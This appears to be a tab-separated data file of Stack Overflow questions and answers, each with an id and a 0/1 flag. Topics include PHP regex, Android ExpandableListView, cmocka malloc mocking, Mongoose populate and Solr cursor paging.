7649018	0	Parser replace pattern <p>I have problems with pattern. I need to process some text for example:</p> <pre><code>&lt;div&gt;{text1}&lt;/div&gt;&lt;span&gt;{text2}&lt;/span&gt; </code></pre> <p>After the process I need to get in place of {text1} and {text2} some words from dictionary. I'm preparing ui interface for diffrent languages. This is in PHP. For now I have something like this but this doesn't work:</p> <pre><code>function translate_callback($matches) { global $dict; print_r($matches); return 'replacement'; } function translate($input) { return preg_replace_callback('/(\{.+\})/', 'translate_callback', $input); } echo translate('&lt;div&gt;{bodynum}&lt;/div&gt;&lt;span&gt;{innernum}&lt;/span&gt;'); </code></pre> <p>This is test scenarion but I can't find the way to define pattern because this one in code match</p> <pre><code>{bodynum}&lt;/div&gt;&lt;span&gt;{innernum} </code></pre> <p>but I want pattern that will match</p> <pre><code>{bodynum} and then {innernum} </code></pre> <p>Can somebody help me with this. Thanks.</p> <p>The Solution:</p> <p>To match any character between { and }, but don't be greedy - match the shortest string which ends with } (the ? stops + being greedy).</p> <p>So the pattern now looks like: '/{(.+?)}/' and is exacly what I want.</p>
4957005	0	 <p>Looks like you can't just pass touches in and have it respond to them :(</p> <p>You would have to use the [UIScrollView setContentOffset:animated:] method to move the scrollview yourself.</p> <hr> <p>A better way of intercepting the touches might be to put a view in front of the scrollview - grab any touches you want to listen to and then pass it to the next responder in the chain.</p> <p>You would make a subclass of UIView that overrode the touch handling methods, something like :</p> <pre><code>- (void)touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event { if (scrollViewShouldGetThisTouch) [self.nextResponder touchesBegan:touches withEvent:event]; } </code></pre> <p>and just make this view have the same frame as your scrollview but be infront of it in the ui (transparent of course!).</p> <p>OR</p> <p>You could subclass UIScrollView - though this might result in odd errors if Apple ever change the implementation of a UIScrollView. I'd choose the other option!</p>
13633534	0	How to check if entity framework 5 is running with .net framework 4.5 <p>I am confusing if entity framework 5 is based on .net framework 4.5 or .net framework 4.0 in my project, because when I added ef5 to my project from nuget, it shows the run time version is v4.0.30319 as in attached image. (I assume it should be v4.5.50709?)</p> <p>In the project settings, the targeted framework is correctly set to .Net Framework 4.5 and I am using visual studio 2012.</p> <p>If it is not using .net framework 4.5. How I can do to make sure it is using .net framework 4.5? Thanks for your help. </p> <p><img src="https://i.stack.imgur.com/cLfNL.png" alt="here"></p>
21407481	0	Angulars $httpBackend not pure unit testing? <p>Angular advocates the use of <a href="http://docs.angularjs.org/api/ngMock.%24httpBackend" rel="nofollow">$httpBackend</a> to test your service. Doesn't that break the principle of unit testing since it also tests angular internals? </p> <p>Shouldn't we rather test with a mocked $resource (or $http if that's what you use)?</p> <p>Is this just for convenience?</p>
29930601	0	 <p>You can use <a href="http://imperavi.com/redactor/docs/callbacks/image/#callback-imageUploadCallback" rel="nofollow">imageUploadCallback</a> for editing image tag.</p>
25674365	0	 <p>I solved my own problem with the following steps: 1. Deleted MSCOMCTL.OCX from \Windows\Syswow64 2. Opened the Access form that was giving me a problem, and Access reinstalled MSCOMCTL.OCX automatically. 3. Opened a command window with the "Run As Administrator" option 4. Navigated to \Windows\Syswow64 5. Ran "regsvr32 /u MSCOMCTL.OCX" 6. Ran "regsvr32 MSCOMCTL.OCX" 7. Reopened Access and it worked! <strong>Note: You will need to do this in System32, NOT Syswow64 for 64-bit office. Dumb naming standard, I know.</strong></p> <p>@t_m , Thanks for your help!</p>
40329448	0	 <p>In the <code>WebApiConfig</code> class add the following:</p> <pre><code> public static void Register(HttpConfiguration config) { config.EnableCors(); config.MapHttpAttributeRoutes(); // Web API routes below } </code></pre>
12982138	0	 <p>You only have to change the client.</p> <p>Change its Naming.lookup() string, from "localhost" to the server's hostname or IP address. The server's Naming string in the bind() or rebind() call does not change from "localhost", because the server and its Registry are always on the same host.</p> <p>If you are using Registry instead of Naming, again you only have to change the client's LocateRegistry.getRegistry() call.</p>
34503110	0	cmocka malloc testing OOM and gcov <p>I'm having a hard time finding an answer to a nitch case using cmocka, testing malloc for failure (simulating), and using gcov</p> <p>Update about cmocka+gcov: I noticed I get empty gcda files as soon as I mock a function in my cmocka tests. Why? Googling cmocka and gcov gives results where people talk about using the two together. It seems most people are using CMake, something I will look at later but there should be no reason (that I can think of) that would require me to use cmake. Why can't I just use cmocka with the --coverage/-lgcov flags?</p> <p>Orignal question:</p> <p>I've tried a myriad combinations mostly based off of two main ideas:</p> <p>I tried using -Wl,--wrap=malloc so calls to malloc are wrapped. From my cmocka tests I attempted to use will_return(__wrap_malloc, (void*)NULL) to simulate a malloc failure. In my wrap function I use mock() to determine if I should return __real_malloc() or NULL. This has the ideal effect, however I found that gcov fails to create gcda files, which is part of the reason with wrapping malloc, so I can test malloc failing AND get code coverage results. I feel I've played dirty games with symbols and messed up malloc() calls called form other compilation units (gcov? cmocka?).</p> <p>Another way I tried was to us gcc -include using a #define for malloc to call "my malloc" and compile my target code to be tested with mymalloc.c (defining the "my malloc"). So a #define malloc _mymalloc helps me call only the "special malloc" from the target test code leaving malloc alone anywhere else it is called (i.e., leave the other compilation unites alone so they just always call real malloc). However I don't know how to use will_return() and mock() correctly to detect failure cases vs success cases. If I am testing malloc() failing I get what I want, I return NULL from "malloc" based on mock() returning NULL- this is all done in a wrapping function for malloc that is only called in the targeted code. However if I want to return the results of the real malloc than cmocka will fail since I didn't return the result from mock(). I wish I could just have cmocka just dequeue the results from the mock() macro and then not care that I didn't return the results since I need real results from malloc() so the code under test can function correctly.</p> <p>I feel it should be possible to combine malloc testing, with cmocka and get gcov results.</p> <p>whatever the answer is I'd like to pull of the following or something similar.</p> <pre><code>int business_code() { void* d = malloc(somethingCalculated); void* e = malloc(somethingElse); if(!d) return someRecovery(); if(!e) return someOtherRecovery(); return 0; } </code></pre> <p>then have cmocka tests like</p> <pre><code>cmocka_d_fail() { will_return(malloc, NULL); int ret = business_code(); assert_int_equal(ret, ERROR_CODE_D); } cmocka_e_fail() { will_return(malloc, __LINE__); // someway to tell wrapped malloc to give me real memory because the code under test needs it will_return(malloc, NULL); // I want "d" malloc to succeed but "e" malloc to fail int ret = business_code(); assert_int_equal(ret, ERROR_CODE_E); } </code></pre> <p>I get close with some of the #define/wrap ideas I tried but in the end I either mess up malloc and cause gcov to not spit out my coverage data or I don't have a way to have cmocka run malloc cases and return real memory i.e., not reeturn from mock() calls. On one hand I could call real malloc from my test driver but and pass that to will_return but my test_code doesn't know the size of the memory needed, only the code under test knows that.</p> <p>given time constraints I don't want to move away from cmocka and my current test infrastructure. I'd consider other ideas in the future though if what I want isn't possible. What I'm looking for I know isn't new but I'm trying to use a cmocka/gcov solution.</p> <p>Thanks</p>
28298873	0	 <p>You can also do something like this:</p> <pre><code>grails.project.war.file = "target/${appName}${grails.util.Environment.current.name == 'development' ? '-dev' : ''}.war" </code></pre>
25924639	1	python idle how to create username? <p>Write a function called getUsername which takes two input parameters, firstname (string) and surname (string), and both returns and prints a username made up of the first character of the firstname and the first four characters of the surname. Assume that the given parameters always have at least four characters. </p>
27669584	0	Remove any kind of url from string in php? <p>I am having below data.</p> <p>Example 1</p> <pre><code>From : http://de.example.ch/biz/barbar-vintage-z%C3%BCrich I want: /biz/barbar-vintage-z%C3%BCrich </code></pre> <p>And also if there is</p> <pre><code>http://www.example.ch/biz/barbar-vintage-z%C3%BCrich </code></pre> <p>Then I also want</p> <pre><code> /biz/barbar-vintage-z%C3%BCrich </code></pre>
39808850	0	 <p>Could be your result is already JSON parsed the </p> <pre><code> function getLocation(){ var name = $("#username").val(); console.log('getLocation()'); if(name != ''){ $.ajax({ type: 'GET', url: '../../' + name, async: true, success:function(data){ var marker = new L.marker(data.location); marker.addTo(map); $("#username").val(''); }, error: function(XMLHttpRequest, textStatus, errorThrown) { alert('Not found'); } }); } } </code></pre> <p>or if you obtain an array </p> <pre><code> function getLocation(){ var name = $("#username").val(); console.log('getLocation()'); if(name != ''){ $.ajax({ type: 'GET', url: '../../' + name, async: true, success:function(data){ var marker = new L.marker(data[0].location); marker.addTo(map); $("#username").val(''); }, error: function(XMLHttpRequest, textStatus, errorThrown) { alert('Not found'); } }); } </code></pre>
28428035	0	Populate subdocuments in mongoose <p>I have this document:</p> <pre><code>[ { _id: "54d278b2b6d57eee9f2c6d02", title: "Piping", mainCategories: [ { title: "Shut valves", subCategories: [ { title: "Ball valve", userCodeSyntax: "AV2", typeComponents: [ "54d278b2b6d57eee9f2c6d00", "54d278b2b6d57eee9f2c6d01" ] } ] } ] } ] </code></pre> <p>It's a category schema where typeComponents contains a list with products in that category.</p> <p>My model:</p> <pre><code>var disciplineSchema = new Schema({ title: {type:String, required:true}, project:{ type: Schema.ObjectId, ref: 'Project' }, mainCategories:[ { title: {type:String, required: true}, subCategories:[ { title: {type:String, required: true}, userCodeSyntax: {type:String, required: true}, externalCode:String, typeComponents:[ {type: Schema.ObjectId, ref: 'TypeComponent'}] } ] } ] }); </code></pre> <p>Is it possible to populate typeComponents?</p> <p>I tried this:</p> <pre><code>mongoose.model('Discipline').find() .exec(function(err, disciplines){ var options = { path: 'mainCategories.subCategories', model: 'TypeComponent' }; mongoose.model('Discipline').populate(disciplines, options, function (err, res) { callback.status(200).send(res) }); }); </code></pre>
16627831	0	 <p>As in the comment: it is not <em>UTF8</em>, it is <em>WINDOWS-1256</em> encoding, so you can repair it on Linux using <code>iconv</code> command for file <code>test</code>: </p> <pre><code>jh@jh-aspire:4804~$ iconv -fwindows-1256 -tutf8 test هاـالحجرنالرفاعيمني </code></pre> <p>(I have no idea what it means as I don't know Arabic)</p>
26701215	0	Download from gitHub <p>How I can download this file from GitHub?</p> <p><a href="https://github.com/TorgeirH90/Programming/tree/master/C%23/Paratroopers%20Mono/Paratroopers%20Mono" rel="nofollow">https://github.com/TorgeirH90/Programming/tree/master/C%23/Paratroopers%20Mono/Paratroopers%20Mono</a></p>
24412431	0	Side-effect of Perl's print function <p>I'm wondering why/how <code>print</code> in Perl can have a side-effect.</p> <pre><code>use Scalar::Util qw/looks_like_number/; my @A = (5, '2', 'aaa', 1, 'aab'); my @a = map { looks_like_number($_) } @A; print "1) @a\n"; # prints "4352 1 0 4352 0" print "A print with a side-effect: @A\n"; @a = map { looks_like_number($_) } @A; print "2) @a\n"; # prints "1 1 0 1 0" </code></pre> <p>In this example, <code>looks_like_number</code> returns <code>4352 1 0 4352 0</code> before the print, and <code>1 1 0 1 0</code> after the print.</p> <p>What does <code>print</code> do to these values to affect how they're interpreted by <code>looks_like_number</code>?</p>
41003579	0	 <p>The most probable reason I can think of is that since <code>__dirname</code> never ends with a trailing slash your path will become something like <code>/path/to/projectpublic</code> instead of <code>/path/to/project/public</code>. To make sure your path is correctly formatted use <a href="https://nodejs.org/api/path.html#path_path_join_paths" rel="nofollow noreferrer" title="path.join">path.join</a>. E.g:</p> <pre><code>app.use(express.static(path.join(__dirname, 'public'))) </code></pre>
28464823	0	 <p>This is a little hacky, but it works: Give the right container a margin-top of the height of the left container minus the height of the right container (in this case, 50px). Then give the left container a negative margin-bottom of the same amount (-50px). Here is it working: <a href="http://jsfiddle.net/zdL60bLu/9/" rel="nofollow">http://jsfiddle.net/zdL60bLu/9/</a></p> <p>Code added:</p> <pre><code>#left { margin-bottom: -50px; } #right { margin-top: 50px; } </code></pre>
12253476	0	 <p>WebDAV connection is your way to go if you just want to use Dreamweaver and fill in the Host, username and password. However WebDav works perfectly fine on a Linux apache environment, But installing it on IIS is a bit harder.</p> <p><img src="https://i.stack.imgur.com/Fyjus.png" alt="WebDAV"></p> <p><em>Take a look at <a href="http://learn.iis.net/page.aspx/350/installing-and-configuring-webdav-on-iis/" rel="nofollow noreferrer">this website</a> explaining step by step how to install and configure WebDAV correctly on IIS before using it.</em></p>
37436113	0	 <p>It may be because there might be one more button with same property , so try to find element uniquely then try. Ex: Two button having same attributes at that time webdriver will fail so user in case of multiple element having same property try to find element uniquely with relative xpath</p>
32568347	0	 <p>I think this package is broken... i don't see an <a href="http://docs.meteor.com/#/full/pack_export" rel="nofollow">api.export</a> of the Soap object for you to use in <a href="https://github.com/zardak/meteor-soap/blob/master/package.js" rel="nofollow">package.js</a>. Maybe you could submit a fix to the git repo and get the package updated.</p>
36629637	0	how to fetch records equal to pageSize while using queryForCursor in SolrTemplate <p>I want to fetch records from solr using cursors as I have large resultset size. I m using SolrTemplate.queryForCursor() method by passing query object to this. But the resultCursor which is of type Cursor has all data in it. I want to stop reading from cursor when my pageSize is hit.</p> <pre><code>Criteria query = new Criteria("UserName").is ("abc"); query.setRows(10); // As i want to have fetch 10 records at a time Cursor&lt;T&gt; resultCusrsor = solrTemplate.queryForCursor(query,Entity.class); while(resultCursor.hasNext() ){ System.out.println( "Result : " + resultCusrsor.next()); } </code></pre> <p>The while loop here keeps printing all records by fetching 10 at a time. If my pagesize is 100, I want to fetch 10 records 10 times using cursor, but how do I stop at 100th record?</p>
19026042	0	 <ol> <li>There is no need that an application defines a window handle when using OpenClipboard. So you have to be aware that there are enough chances that you will never get a result.</li> <li>If it is a child window that owns the clipboard you may walk back the stack of windows always using GetParent until there is no longer a parent.</li> </ol> <p>BTW: The function I mention here are the WinApi functions...</p>
10796149	0	 <p>You need a reference to your instance of GUI1 in GUI2. So maybe add a private variable <code>private GUI1 firstGUI</code> in your GUI2 class. Then write a setter method <code>public void setGUI1(GUI1 myFirstGUI){ this.firstGUI = myFirstGUI; }</code>.</p> <p>Then you should set the GUI1 variable from the outside with this setter.</p> <p>And then you can call <code>firstGUI.dispose()</code> in your actionPerformed Method for btn2.</p>
31429463	0	 <p>Got help from our friends at TI E2E forums on this topic.</p> <p>The reason I was unable to see the Configure and Associate menu options was due to the selected perspective. Code Composer 5 uses TI's default CCS Edit perspective which hides the expected menu options. If you change to the default Eclipse C/C++ perspective then the menu option shows up and configuration of the project to use SonarQube can be completed.</p>
19323654	0	Why does my alert dialog not appear? <p>Can sombody please help me? When I click on the button nothing happens. I'm very new to android-programming so please answer as i can understand.</p> <p>(Don't wonder about my variables)</p> <p>Thank you</p> <pre><code>@Override public void onClick(View v) { Button preis = (Button) findViewById(R.id.essenpreis); preis.setOnClickListener(new View.OnClickListener() { public void onClick(View view) { // Creating alert Dialog with one Button AlertDialog.Builder alertDialog = new AlertDialog.Builder(options.this); // Setting Dialog Title alertDialog.setTitle("Essenspreis"); // Setting Dialog Message alertDialog.setMessage("Neuen Preis eintragen:"); // Setting Icon to Dialog // alertDialog.setIcon(R.drawable.tick); // Setting OK Button alertDialog .setPositiveButton("YES", new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog,int which) { // Write your code here to execute after dialog closed Toast.makeText(getApplicationContext(),"Preis geändert!", Toast.LENGTH_SHORT).show(); } }); // Showing Alert Message alertDialog.show(); } }); } } </code></pre>
357351	0	 <p>A try/catch block like this...</p> <pre><code>BEGIN TRY -- Your Code Goes Here -- END TRY BEGIN CATCH SELECT ERROR_NUMBER() AS ErrorNumber, ERROR_SEVERITY() AS ErrorSeverity, ERROR_STATE() AS ErrorState, ERROR_PROCEDURE() AS ErrorProcedure, ERROR_LINE() AS ErrorLine, ERROR_MESSAGE() AS ErrorMessage END CATCH </code></pre> <p>...is going to help you locate the problem in your SQL <em>code</em>. If this was in a stored procedure you could also return the parameters (i.e. add a SELECT @RecordID AS [RecordID] to that list in the catch block). Moving forward though, if you are running into problems with the actual data I would encourage you to look at adding foreign keys and other constraints to protect the logical integrity of your database. Ideally at a minimum you cannot put data into the database which will break your stored procedures.</p> <p>EDIT</p> <p>Refering to you're most recent edits, if you put the UPDATE inside a stored procedure and catch the error, then replace your update series with calls to that procedure the remaining updates would continue, and you could return/track/log the error within the SP's catch block however you wished to.</p>
40210616	0	 <p>Ok how about this. It's a mashup between reshape and base R.</p> <p>I used your dataset once you posted it. Thanks for providing it.</p> <pre><code>data &lt;- structure(list(Water.Year = structure(1:6, .Label = c("1953-1954", "1954-1955", "1955-1956", "1956-1957", "1957-1958", "1958-1959", "1959-1960", "1960-1961", "1961-1962", "1962-1963", "1963-1964", "1964-1965", "1965-1966", "1966-1967", "1967-1968", "1968-1969", "1969-1970", "1970-1971", "1971-1972", "1972-1973", "1973-1974", "1974-1975", "1975-1976", "1976-1977", "1977-1978", "1978-1979", "1979-1980", "1980-1981", "1981-1982", "1982-1983", "1983-1984", "1984-1985", "1985-1986", "1986-1987", "1987-1988", "1988-1989", "1989-1990", "1990-1991", "1991-1992", "1992-1993", "1993-1994", "1994-1995", "1995-1996", "1996-1997", "1997-1998", "1998-1999", "1999-2000", "2000-2001"), class = "factor"), May = c(55.55, 23.49, 9.87, 18.03, 17.46, 11.37), Jun = c(43.62, 81.35, 51.59, 28.61, 15.14, 29.48), Jul = c(30.46, 46.71, 55.36, 24.36, 20.09, 19.48), Ago = c(26.17, 29.33, 63.03, 22.01, 16.97, 16.86), Set = c(26.76, 67.83, 154.08, 28.51, 27.24, 21.01), Oct = c(41.74, 133.3, 98.15, 53.72, 35.78, 19.78), Nov = c(19.92, 37.62, 104.06, 115.78, 20.35, 18.69), Dic = c(41.25, 30.16, 32.85, 32.04, 22, 18.86), Ene = c(28.77, 21.07, 22.89, 25.44, 13.27, 14.89), Feb = c(20.96, 19.38, 17.3, 14.53, 10.37, 10.4), Mar = c(12.47, 13.87, 15.68, 10.78, 8.77, 8.79), Abr = c(10.51, 10.63, 10.88, 9.33, 7.69, 8.99)), .Names = c("Water.Year", "May", "Jun", "Jul", "Ago", "Set", "Oct", "Nov", "Dic", "Ene", "Feb", "Mar", "Abr"), row.names = c(NA, 6L), class = "data.frame") </code></pre> <p>I decided to use the year information you had from before and just add in calendar year based on that. Since we know May-Dec is Year 1, and Jan-Apr is Year 2. Maybe a bit convoluted but it gets the job done.</p> <pre><code>df = separate(data, Water.Year, c("year1","year2")) library(reshape2) fixDF&lt;-melt(df) fixDF$CalendarYear&lt;-rep(NA,nrow(fixDF)) fixDF$CalendarYear[min(which(fixDF$variable=="May")):max(which(fixDF$variable=="Dic"))]&lt;-df$year1 fixDF$CalendarYear[min(which(fixDF$variable=="Ene")):max(which(fixDF$variable=="Abr"))]&lt;-df$year2 fixDF&lt;-fixDF[,3:5] colnames(fixDF)&lt;-c("Month","Flow.Measurement", "Calendar.Year") </code></pre>
1425492	0	Help with setting up a Database <p>My site is going to have many products available, but they'll be categorised into completely different sites (domains).</p> <p>My question is, am I better off lumping all products into one database and using an ID to distinguish between the sites, or should I set up a table and /or DB per site?</p> <p>Here are my thoughts</p> <p><strong>SEPARATE DATABASES</strong></p> <ul> <li>Easier to read from a backend</li> <li>Categorised better</li> <li>Makes backups more difficult</li> <li>If I need to make a change to the schema, it will need to be pushed out to all databases</li> </ul> <p><strong>SAME DATABASES</strong></p> <ul> <li>All in one place</li> <li>Could get unwieldy</li> <li>One database will have a massive file size and lookups could suffer</li> </ul> <p>Can someone please offer me some advice on which way is best and why?</p>
31417031	0	 <p>As shown by others awk,sed or paste are the best ways of doing this, but.. Lets do some more!</p> <p>bash loop:</p> <pre><code>cat file | while read line ; do echo "$line;$line"; done </code></pre> <p>perl:</p> <pre><code>perl -pe 's/(.*)/$1;$1/' file </code></pre> <p>ruby:</p> <pre><code>ruby -ne 'puts $_.chomp + ";" + $_' &lt; file </code></pre> <p>python:</p> <pre><code>python -c "import sys;[sys.stdout.write(line.rstrip() + ';' + line) for line in sys.stdin]" &lt; file </code></pre> <p>And now I've run out of things</p>
5740983	0	 <p>What about setuping a private branch, working on it, hijacking there files and then merging your private branch on the main branch?</p>
9853197	0	JDBC batch query for high performance <p>I want to do batch query DB for high performance, example sql to query based on different customer_id:</p> <pre><code>select order_id, cost from customer c join order o using(id) where c.id = ... order by </code></pre> <p>I'm not sure how to do it using JDBC statement. I know I can use stored procedure for this purpose, but it's much better if I can just write sql in Java app instead of SP. <br /> I'm using DBCP for my Java client and MySQL DB.</p>
10797974	0	 <p>the image you want to draw is from a different domain than yours, so a security error is thrown. </p> <p>Please see the following topic for further explainations <a href="http://stackoverflow.com/questions/2390232/why-does-canvas-todataurl-throw-a-security-exception">Why does canvas.toDataURL() throw a security exception?</a></p>
19044216	0	How to add data to the Expandable listview with child having multiple views <p>I referred this tutorial for expandable listview</p> <p><a href="http://www.androidhive.info/2013/07/android-expandable-list-view-tutorial/" rel="nofollow">http://www.androidhive.info/2013/07/android-expandable-list-view-tutorial/</a></p> <p>My main activity</p> <pre><code> BusActivity extends Activity { ExpandableListAdapter listAdapter; ExpandableListView expListView; List&lt;String&gt; listDataHeader; HashMap&lt;String, List&lt;String&gt;&gt; listDataChild,listDataStart,listDataEnd; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); // get the listview expListView = (ExpandableListView) findViewById(R.id.lvExp); // preparing list data prepareListData(); listAdapter = new ExpandableListAdapter(this, listDataHeader, listDataChild,listDataStart,listDataEnd); // setting list adapter expListView.setAdapter(listAdapter); // Listview Group click listener expListView.setOnGroupClickListener(new OnGroupClickListener() { @Override public boolean onGroupClick(ExpandableListView parent, View v, int groupPosition, long id) { // Toast.makeText(getApplicationContext(), // "Group Clicked " + listDataHeader.get(groupPosition), // Toast.LENGTH_SHORT).show(); return false; } }); // Listview Group expanded listener expListView.setOnGroupExpandListener(new OnGroupExpandListener() { @Override public void onGroupExpand(int groupPosition) { Toast.makeText(getApplicationContext(), listDataHeader.get(groupPosition) + " Expanded", Toast.LENGTH_SHORT).show(); } }); // Listview Group collasped listener expListView.setOnGroupCollapseListener(new OnGroupCollapseListener() { @Override public void onGroupCollapse(int groupPosition) { Toast.makeText(getApplicationContext(), listDataHeader.get(groupPosition) + " Collapsed", Toast.LENGTH_SHORT).show(); } }); // Listview on child click listener expListView.setOnChildClickListener(new OnChildClickListener() { @Override public boolean onChildClick(ExpandableListView parent, View v, int groupPosition, int childPosition, long id) { // TODO Auto-generated method stub Toast.makeText( getApplicationContext(), listDataHeader.get(groupPosition) + " : " + listDataChild.get( listDataHeader.get(groupPosition)).get( childPosition), Toast.LENGTH_SHORT) .show(); return false; } }); } /* * Preparing the list data */ private void prepareListData() { listDataHeader = new ArrayList&lt;String&gt;(); listDataChild = new HashMap&lt;String, List&lt;String&gt;&gt;(); listDataStart = new HashMap&lt;String, List&lt;String&gt;&gt;(); listDataEnd = new HashMap&lt;String, List&lt;String&gt;&gt;(); // Adding child data listDataHeader.add("Volvo"); listDataHeader.add("Deluxe"); listDataHeader.add("Express"); listDataHeader.add("Ordinary"); // Adding child data List&lt;String&gt; volvo = new ArrayList&lt;String&gt;(); volvo.add("The Shawshank Redemption"); volvo.add("The Godfather"); volvo.add("The Godfather: Part II"); volvo.add("Pulp Fiction"); List&lt;String&gt; nowShowing = new ArrayList&lt;String&gt;(); nowShowing.add("The Conjuring"); nowShowing.add("Despicable Me 2"); nowShowing.add("Turbo"); nowShowing.add("Grown Ups 2"); List&lt;String&gt; now = new ArrayList&lt;String&gt;(); now.add("The Conjuring"); now.add("Despicable Me 2"); now.add("Turbo"); now.add("Grown Ups 2"); List&lt;String&gt; comingSoon = new ArrayList&lt;String&gt;(); comingSoon.add("2 Guns"); comingSoon.add("The Smurfs 2"); comingSoon.add("The Spectacular Now"); comingSoon.add("The Canyons"); List&lt;String&gt; comingup = new ArrayList&lt;String&gt;(); comingup.add("2 Guns"); comingup.add("The Smurfs 2"); comingup.add("The Spectacular Now"); comingup.add("The Canyons"); listDataChild.put(listDataHeader.get(0), volvo); // Header, Child data listDataChild.put(listDataHeader.get(1), now); listDataStart.put(listDataHeader.get(0), nowShowing); // Header, Child data listDataStart.put(listDataHeader.get(1), comingup); ); listDataEnd.put(listDataHeader.get(0), volvo); // Header, Child data listDataEnd.put(listDataHeader.get(2), comingSoon); } </code></pre> <p>}</p> <p>My Adapter</p> <pre><code>public class ExpandableListAdapter extends BaseExpandableListAdapter { private Context _context; private List&lt;String&gt; _listDataHeader; // header titles // child data in format of header title, child title private HashMap&lt;String, List&lt;String&gt;&gt; _listDataChild,listStart,listEnd; public ExpandableListAdapter(Context context, List&lt;String&gt; listDataHeader, HashMap&lt;String, List&lt;String&gt;&gt; listChildData,HashMap&lt;String, List&lt;String&gt;&gt; listStart, HashMap&lt;String, List&lt;String&gt;&gt; listEnd) { this._context = context; this._listDataHeader = listDataHeader; System.out.println("Start"+listStart+"Bus"+listChildData+"End"+listEnd); this._listDataChild = listChildData; this.listStart=listStart; this.listEnd=listEnd; } @Override public Object getChild(int groupPosition, int childPosititon) { return this._listDataChild.get(this._listDataHeader.get(groupPosition)) .get(childPosititon); } @Override public long getChildId(int groupPosition, int childPosition) { return childPosition; } @Override public View getChildView(int groupPosition, final int childPosition, boolean isLastChild, View convertView, ViewGroup parent) { final String childText = (String) getChild(groupPosition, childPosition); System.out.println("Child Text"+childText); if (convertView == null) { LayoutInflater infalInflater = (LayoutInflater) this._context .getSystemService(Context.LAYOUT_INFLATER_SERVICE); convertView = infalInflater.inflate(R.layout.list_item, null); } TextView txtListBus= (TextView) convertView .findViewById(R.id.txt_busno); if(groupPosition==0) { //txtListBus.setBackgroundColor(Color.parseColor("#FED966")); //txtListBus.setTextColor(Color.parseColor("#A07900")); } else if(groupPosition==1) { txtListBus.setBackgroundColor(Color.parseColor("#FED966")); txtListBus.setTextColor(Color.parseColor("#A07900")); } else if(groupPosition==2) { txtListBus.setBackgroundColor(Color.RED); txtListBus.setTextColor(Color.BLACK); } else { txtListBus.setBackgroundColor(Color.BLUE); txtListBus.setTextColor(Color.WHITE); } txtListBus.setText(childText); TextView txtList= (TextView) convertView .findViewById(R.id.txt_start); if(groupPosition==0) { txtList.setBackgroundColor(Color.parseColor("#FED966")); txtList.setTextColor(Color.parseColor("#A07900")); } else if(groupPosition==1) { txtList.setBackgroundColor(Color.parseColor("#64D8CD")); txtList.setTextColor(Color.parseColor("#067B6F")); } else if(groupPosition==2) { txtList.setBackgroundColor(Color.RED); txtList.setTextColor(Color.BLACK); } else { txtList.setBackgroundColor(Color.BLUE); txtList.setTextColor(Color.WHITE); } txtList.setText(childText); TextView txt= (TextView) convertView .findViewById(R.id.txt_end); if(groupPosition==0) { txt.setBackgroundColor(Color.parseColor("#FED966")); txt.setTextColor(Color.parseColor("#A07900")); } else if(groupPosition==1) { txt.setBackgroundColor(Color.parseColor("#64D8CD")); txt.setTextColor(Color.parseColor("#067B6F")); } else if(groupPosition==2) { txt.setBackgroundColor(Color.RED); txt.setTextColor(Color.BLACK); } else { txt.setBackgroundColor(Color.BLUE); txt.setTextColor(Color.WHITE); } txt.setText(childText); return convertView; } @Override public int getChildrenCount(int groupPosition) { return this._listDataChild.get(this._listDataHeader.get(groupPosition)) .size(); } @Override public Object getGroup(int groupPosition) { return this._listDataHeader.get(groupPosition); } @Override public int getGroupCount() { return this._listDataHeader.size(); } @Override public long getGroupId(int groupPosition) { return groupPosition; } @Override public View getGroupView(int groupPosition, boolean isExpanded, View convertView, ViewGroup parent) { String headerTitle = (String) getGroup(groupPosition); System.out.println("Group position"+groupPosition); if (convertView == null) { LayoutInflater infalInflater = (LayoutInflater) this._context .getSystemService(Context.LAYOUT_INFLATER_SERVICE); convertView = infalInflater.inflate(R.layout.list_group, null); } TextView lblListHeader = (TextView) convertView .findViewById(R.id.ls_head); lblListHeader.setTypeface(null, Typeface.BOLD); lblListHeader.setText(headerTitle); if(groupPosition==0) { lblListHeader.setBackgroundColor(Color.parseColor("#FFD243")); lblListHeader.setTextColor(Color.parseColor("#A07900")); } else if(groupPosition==1) { lblListHeader.setBackgroundColor(Color.parseColor("#00BFAC")); lblListHeader.setTextColor(Color.parseColor("#067B6F")); } else if(groupPosition==2) { lblListHeader.setBackgroundColor(Color.RED); lblListHeader.setTextColor(Color.BLACK); } else { lblListHeader.setBackgroundColor(Color.BLUE); lblListHeader.setTextColor(Color.WHITE); } return convertView; } @Override public boolean hasStableIds() { return false; } @Override public boolean isChildSelectable(int groupPosition, int childPosition) { return true; } </code></pre> <p>}</p> <p>list_item layout </p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="55dp" android:orientation="vertical" &gt; &lt;LinearLayout android:layout_width="match_parent" android:layout_height="55dp" android:background="#fff" android:orientation="horizontal" &gt; &lt;TextView android:id="@+id/txt_start" android:layout_width="130dp" android:layout_height="match_parent" android:text="Hello" android:gravity="right|center_vertical" android:textColor="#000" android:textSize="17dp" /&gt; &lt;LinearLayout android:layout_width="50dp" android:layout_height="55dp" android:background="@drawable/ic_launcher" android:orientation="horizontal" &gt; &lt;TextView android:id="@+id/txt_busno" android:layout_width="fill_parent" android:layout_height="fill_parent" android:textAppearance="?android:attr/textAppearanceLarge" /&gt; &lt;/LinearLayout&gt; &lt;TextView android:id="@+id/txt_end" android:layout_width="match_parent" android:layout_height="match_parent" android:gravity="center_vertical" android:text="Hello" android:textColor="#000" android:textSize="17dp" /&gt; &lt;/LinearLayout&gt; </code></pre> <p></p> <p>list_group remains same as the link</p> <p>In this the child list have only a textview. I want to add an imageview and a textview to the child list. I am able to add this by changing the list_item.xml to contain the views. How can i add data to this child view that has multiple views?</p>
